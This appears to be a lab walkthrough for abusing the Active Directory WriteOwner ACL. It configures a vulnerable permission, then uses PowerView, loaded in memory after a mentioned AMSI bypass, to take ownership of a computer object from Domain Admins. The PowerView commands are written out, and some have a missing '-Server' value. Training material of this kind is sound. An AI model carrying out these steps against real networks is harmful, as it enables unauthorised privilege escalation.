Write Owner


  1. Login to DC03 with the Administrator user and the password Welcome01!.

  2. Open the "Active Directory Users and Computers" administration tool.

3. Click on "View" and enable "Advanced Features

4. Click on the "Computers" directory and right click on the "DATA01" computer and select "Properties". Then select "Security" to see the ACL's.

5. Click on "Add" and type sa_sql.

6. Select the "sa_sql" user and click "Advanced". Then select the "sa_sql" once again and click on "Edit". Then select "Modify Owner".

7. We can quickly run BloodHound to check if the correct permissions are applied to the sa_sql user:

It is configured correctly!


How it works

If a domain object has the WriteOwner ACL, the object can change the owner of the object. In this case the user SA_SQL can change the owner of the computerobject DATA01. Once you are "Owner" of a object, you can change the DACL of the object.


Executing the attack

  1. Download PowerView on the kali machine and host it on a webserver:

wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
python3 -m http.server 8090

2. Login to WS01 as Richard with the password Sample123.

3. Start PowerShell and download and execute an amsi and PowerView in memory:

4. In the page DACL-Abuses I showed you how to check for ACL's using BloodHound. We will abuse the "Write Owner" ACL sa_sql has on DATA01.

5. With PowerView we can query the current owner of the computerobject DATA01. Since we are queering data from another domain, we will have to provide a username and password for that domain. Create a credential object using the get-credential cmdlet:

$creds = Get-Credential

Then we can use PowerView to query the domain controller from secure.local for the domain-object DATA01 and retrieve the samaccountname and Owner attribute. We will receive a SID which we need to resolve aswell;

Get-DomainObject -Identity data01 -SecurityMasks Owner -Domain secure.local -Credential $creds -Server | select samaccountname, Owner
Get-DomainObject -Identity S-1-5-21-1498997062-1091976085-892328878-512 -Domain secure.local -Credential $creds -Server

The current owner of the computerobject DATA01 is the group Domain Admins.

6. With PowerView we can change the owner of the object using the Set-DomainObjectOwner cmdlet.

Set-DomainObjectOwner -Domain secure.local -Credential $creds -Server -Identity DATA01 -OwnerIdentity sa_sql -Verbose

7. We didn't receive any errors, to lets use the same queries again to query the owner of the computerobject DATA01;

8. We successfully changed the owner of the computerobject from Domain Admins to sa_ql. The next step will be on the Owns section:






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